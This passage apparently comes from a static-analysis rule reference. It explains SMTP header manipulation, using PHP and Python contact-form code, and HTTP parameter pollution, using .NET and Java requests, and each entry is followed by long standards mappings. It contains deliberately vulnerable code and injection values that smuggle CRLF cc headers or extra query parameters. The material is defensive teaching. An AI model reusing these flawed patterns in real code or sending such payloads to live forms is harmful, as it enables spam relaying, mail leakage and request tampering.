However, because the value of the header is constructed from unvalidated user input the response will only maintain this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


This will effectively allow an attacker to craft spam messages or to send anonymous emails amongst other attacks.
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.java.header_manipulation_smtp
Abstract
Including unvalidated data in an SMTP header can enable attackers to add arbitrary headers, such as CC or BCC that they can use to leak the mail contents to themselves or use the mail server as a spam bot.
Explanation
SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without being validated.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is for the use of distributing spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker will be able to set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously since the email will be sent from the victim server.

Example: The following code segment reads the subject and body of a "Contact us" form:


$subject = $_GET['subject'];
$body = $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);


Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:


...
subject: [Contact us query] Page not working
...


However, because the value of the header is constructed from unvalidated user input the response will only maintain this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


This will effectively allow an attacker to craft spam messages or to send anonymous emails amongst other attacks.
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.php.header_manipulation_smtp
Abstract
Including unvalidated data in an SMTP header can enable attackers to add arbitrary headers, such as CC or BCC that they can use to leak the mail contents to themselves or use the mail server as a spam bot.
Explanation
SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without being validated.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is for the use of distributing spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker will be able to set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously since the email will be sent from the victim server.

Example: The following code segment reads the subject and body of a "Contact us" form:


body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
"subject: [Contact us query] " + subject,
"to: support@acme.com",
"mime-version: 1.0",
"content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)


Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:


...
subject: [Contact us query] Page not working
...


However, because the value of the header is constructed from unvalidated user input the response will only maintain this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


This will effectively allow an attacker to craft spam messages or to send anonymous emails amongst other attacks.
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.python.header_manipulation_smtp
Abstract
Concatenating unvalidated input into a URL can allow an attacker to override the value of a request parameter. Attacker may be able to override existing parameter values, inject a new parameter or exploit variables out of a direct reach.
Explanation
HTTP Parameter Pollution (HPP) attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform either client-side or server-side attacks. By submitting additional parameters to a web application, and if these parameters have the same name as an existing parameter, the web application may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together


For example:
- ASP.NET/IIS uses all occurrences of the parameters
- Apache Tomcat uses only the first occurrence and ignores others
- mod_perl/Apache converts the value into an array of values

Example 1: Depending on the application server and the logic of the application itself, the following request might cause confusion to the authentication system and allow an attacker to impersonate another user.
http://www.server.com/login.aspx?name=alice&name=hacker

Example 2: The following code uses input from an HTTP request to render two hyperlinks.

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
Link1: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">English<a>
Link2: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">Spanish<a>

The programmer has not considered the possibility that an attacker could provide a lang such as en&poll_id=1, and then the attacker may be able to change the poll_id at will.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
Concatenating unvalidated input into a URL can allow an attacker to override the value of a request parameter. Attacker may be able to override existing parameter values, inject a new parameter or exploit variables out of a direct reach.
Explanation
HTTP Parameter Pollution (HPP) attacks consist of injecting encoded query string delimiters into other existing parameters. If a web application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform either client-side or server-side attacks. By submitting additional parameters to a web application, and if these parameters have the same name as an existing parameter, the web application may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together


For example:
- ASP.NET/IIS uses all occurrences of the parameters
- Apache Tomcat uses only the first occurrence and ignores others
- mod_perl/Apache converts the value into an array of values

Example 1: Depending on the application server and the logic of the application itself, the following request might cause confusion to the authentication system and allow an attacker to impersonate another user.
http://www.example.com/login.php?name=alice&name=hacker

Example 2: The following code uses input from an HTTP request to render two hyperlinks.

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
Link1: <a href="http://www.example.com/vote.php?lang=en&poll_id=4567">English<a>
Link2: <a href="http://www.example.com/vote.php?lang=es&poll_id=4567">Spanish<a>

The programmer has not considered the possibility that an attacker could provide a lang such as en&poll_id=1, and then the attacker will be able to change the poll_id at will.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
